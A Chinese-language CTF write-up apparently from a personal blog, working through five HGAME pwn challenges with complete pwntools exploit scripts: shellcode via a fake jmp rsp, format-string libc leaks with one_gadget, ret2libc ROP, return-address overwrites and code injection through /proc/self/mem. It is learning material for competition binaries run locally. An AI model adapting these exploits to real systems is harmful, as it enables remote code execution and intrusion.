HGAME Pwn 题学习

Hgame Pwn题

1.letter

所需知识:

​ 计算机中有符号数用补码来表示(用原码或反码表示都会出现重复的0),正数的补码是数本身,负数的补码是原码按位取反加 1 ,负数补码取反加 1 是其绝对值

题解:

​ 题目中没有 system() getshell,参考官方 writeup 知道没开 NX保护就可以在堆栈上写入 shellcode 并执行

​ 输入有个长度判断,根据有符号数和无符号数可以 -1 绕过

​ 因为要在栈上执行代码所以需要 jmp rsp ,用 ROPgadget 查一下

ROPgadget –binary ./letter | grep “jmp rsp”

​ 没发现有 jmp rsp ,看了一下 writeup 尝试用输入的负数构造 jmp rsp,用 ida 查看机器码为 FF E4(FF E4就是内存中的顺序),int 为四字节所以构造 F0 00 E4 FF 的负数 -268376833 (最高位是 1 ,然后转为无符号数稍微大点的大概都行吧。。。,但是我用 FF 00 E4 FF 的时候偶尔会出错)

​ 这里可以看到程序利用沙箱只允许使用部分系统调用,第二个参数是白名单的意思,可以根据系统调用号查得只允许使用 open ,read ,write,或者用 seccomp-tools 直接看开了什么。那么接下来就用这几个系统调用来打开并读取 flag 文件内容

​ 下面是 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

context.arch = 'amd64'

context.log_level = 'debug'

r = process('./letter')

r.sendlineafter('?','-268376833')

#程序是 amd64 的
shellcode = shellcraft.amd64.open('./flag')

shellcode += shellcraft.amd64.read('rax','rsp',0x30)

shellcode += shellcraft.amd64.write(1,'rsp',0x30)

r.sendline('a'*0x18+p64(0x60108C)+asm(shellcode))

r.interactive()

​ 本地复现结果

2.once

所需知识:

32位程序中的 printf 函数逆序传参,参数都存放在栈上
64位程序中的 printf 函数也是逆序传参,前 6 个参数(从右到左)存放在寄存器中,依次为 RDI、RSI、RDX、 RCX、 R8以及R9 ,其他多的参数存在栈上

题解:

​ 先用 checksec 查一下,开启了 PIE 保护

​ ida 反编译发现

​ 没有直接的 systemexecvegetshell,但 vuln 函数里有格式化字符串漏洞 printf ,题目中也给了 libc版本,可以 leak 出 libc 基址再加上 one_gadget 来 getshell

​ Constraints 意思是限制条件,不满足条件的没法用

​ 下面是 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

libc = ELF('./libc-2.27.so')
r = process('./once')
context.log_level = 'debug'

pay1 = '%13$p\n'

pay1 = pay1.ljust(0x28,'a') #补齐到 0x28

pay1 += '\xD3'

r.sendafter('turn: ',pay1)

addr = r.recvuntil('\n')
addr = addr.strip('\n')
addr = int(addr,16)
#int函数有第二个参数那第一个参数要是字符,第二个参数表示输入的进制数

libcbase = addr - 231 -libc.symbols['__libc_start_main']

pay2 = 'a' * 0x28 + p64(libcbase + 0x4f3d5)

r.sendlineafter('turn: ',pay2)

r.interactive()

​ 开启了 pie 随机化,但因为内存分页制度(好像是这个)地址的最低12位是不变的,所以可以覆盖返回地址最低位的一个字节来回到 vuln 函数开头

关于为什么是 D3 而不是 D2 我还没弄明白,此处待填https://hack543.com/16-bytes-stack-alignment-movaps-issue/)

​ 还有 libc_start_main 地址泄露的 %13$p(输出第13个参数)

3.rop_primary

所需知识:

rop 学习:https://baijiahao.baidu.com/s?id=1665277270769279870&wfr=spider&for=pc

延迟绑定机制:

​ 函数等到用到时才进行绑定,第一次调用时 got 表里保存的是 plt表 push XX 的地址,然后 _ dl_runtime_resolve () 函数会去 libc 库里找到函数真正的地址写到 got 表里

x86 与 x64 ROP区别(vidar 培训的图):

题解:

​ 开了 NX 保护,那就是 rop 绕过,ida f5 可以看到有通过命令行参数(argv[1])打开的文件,之后在文件里读取三个矩阵,本地调试的话可以构造一个这样的文件。check 函数检测矩阵 a,b 进行乘法运算的结果与 c 矩阵比较

​ vuln 函数可以溢出,没有 system/bin/sh,那就需要通过 read 函数泄露 libc 版本获得

​ 下面是 exp(因为自己写的 exp 不小心删掉了,所以前面矩阵运算借鉴了官方 writeup 的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *
from LibcSearcher import *


def read_martix():
matrix = []
while True:
line = r.recvuntil('\n').strip()
if '\t' not in line:
break
row = []
for num in line.split('\t'):
row.append(int(num))
matrix.append(row)

return matrix



def multi(a, b):
rows = len(a)
mid = len(b)
cols = len(b[0])
martixC = []

for i in range(rows):
row = []

for j in range(cols):
num = 0

for k in range(mid):
num += a[i][k] * b[k][j]
row.append(num)
martixC.append(row)

return martixC


context.log_level = 'debug'
context.arch = 'amd64'

elf = ELF('./rop_primary')

r = elf.process(argv = ['martix']) #添加命令行参数

r.recvuntil('A:\n')

martixA = read_martix()

martixB = read_martix()

martixC = multi(martixA,martixB)

for row in martixC:

for n in row:

r.sendline(str(n))


poprdi = 0x401613 #用 ROPgadget 获取 poprdi ; ret 地址

ret = 0x40101a

again = 0x40157C


pay = 'a'*0x38 + p64(poprdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])

pay += p64(again)

r.sendlineafter('best\n',pay)

#leak并计算基址
leak_addr = u64(r.recv(6).ljust(8,'\x00'))

libc = LibcSearcher('puts',leak_addr)

libcbase = leak_addr - libc.dump('puts')

binsh = libcbase + libc.dump('str_bin_sh')

system = libcbase + libc.dump('system')

#getshell
pay2 = 'a'*0x38 + p64(poprdi) +p64(binsh) + p64(system)
r.sendlineafter('best\n',pay2)


r.interactive()

4.killer queen

格式化字符串,改 retn 地址,注意 memset 操作会覆盖 format,所以需要 choice1 写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher

r = process('./killerqueen')
context.log_level='debug'

#context.terminal = ['tmux','splitw']
#gdb.attach(r,"break choice2")

#gdb.attach(proc.pidof(r)[0],"break choice2")

r.sendlineafter("X、去接将要打来的电话\n",'0')
weather = int(r.recvuntil(":")[:-1])
print(weather)

payload = 'a'.ljust(0x100,'a')
r.sendlineafter("说点什么\n",payload)

#leak libc 地址
payload = b"%19$p-%38$p"
r.sendlineafter("X、去接将要打来的电话\n",str(4294967294-weather))
r.sendlineafter("那么,电话号码是——\n",payload)
r.recvuntil("「Killer Queen」杀死了岸边露伴...\n")

stdout = int(r.recvuntil('-')[:-1],16)
retn_addr = int(r.recvuntil('\n')[:-1],16)
log.success("stdout_addr: "+hex(stdout))
log.success("retn_addr: "+hex(retn_addr))

libc = LibcSearcher("_IO_2_1_stdout_",stdout)
libc_base = stdout - libc.dump('_IO_2_1_stdout_')
onegadget = 0x4f3d5
print(hex(libc_base+onegadget))

target = libc_base+onegadget
retn_addr += 8

#覆盖返回地址
if target&0xffff > ((target&0xffff0000)>>16):
payload = ("%"+str((target&0xffff0000)>>16)+"c"+"%10$hn"+"%"+str((target&0xffff)-((target&0xffff0000)>>16))+"c"+"%11$hn").ljust(32,'a')+p64(retn_addr+2)+p64(retn_addr)
else:
payload = ("%"+str(target&0xffff)+"c"+"%10$hn"+"%"+str((target&0xffff0000)>>16 - (target&0xffff))+"c"+"%11$hn").ljust(32,'a')+p64(retn_addr)+p64(retn_addr+2)

r.sendlineafter("说点什么\n",payload)
r.sendlineafter("说点什么\n",'aaa')

r.interactive()

5.patriot’s note

6.the_shop_of_cosmos

proc 文件系统,/proc/self/mem 可读写程序,包括 .text 段,/proc/self/maps 获取各种基址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

r = process('./shop')
elf = ELF('./shop')
context.log_level='debug'
context.arch = 'amd64'

libc = ELF('./libc.so.6')

# 增加钱
r.sendlineafter(">> ",'1')
r.sendlineafter(">> ",'-50')

# 获取基址
r.sendlineafter(">> ",'2')
r.sendlineafter(">> ",'1')
r.sendlineafter(">> ",'/proc/self/maps')

r.recvuntil(':')
prog_base = int(r.recvuntil('-')[:-1],16)
log.success("prog_base: "+hex(prog_base))

# 写 shellcode
r.sendlineafter(">> ",'3')
r.sendlineafter(">> ",'1')
r.sendlineafter(">> ",'/proc/self/mem')
r.sendlineafter(">> ",str(prog_base+0x1652))
shellcode = asm(shellcraft.sh())
r.sendlineafter(">> ",str(len(shellcode)))
r.sendlineafter(">> ",shellcode)

r.sendlineafter(">> ",'3')
r.sendlineafter(">> ",'3')
r.sendlineafter(">> ",'1')

r.interactive()

作者

0wl

发布于

2021-03-31

更新于

2021-11-16

许可协议

评论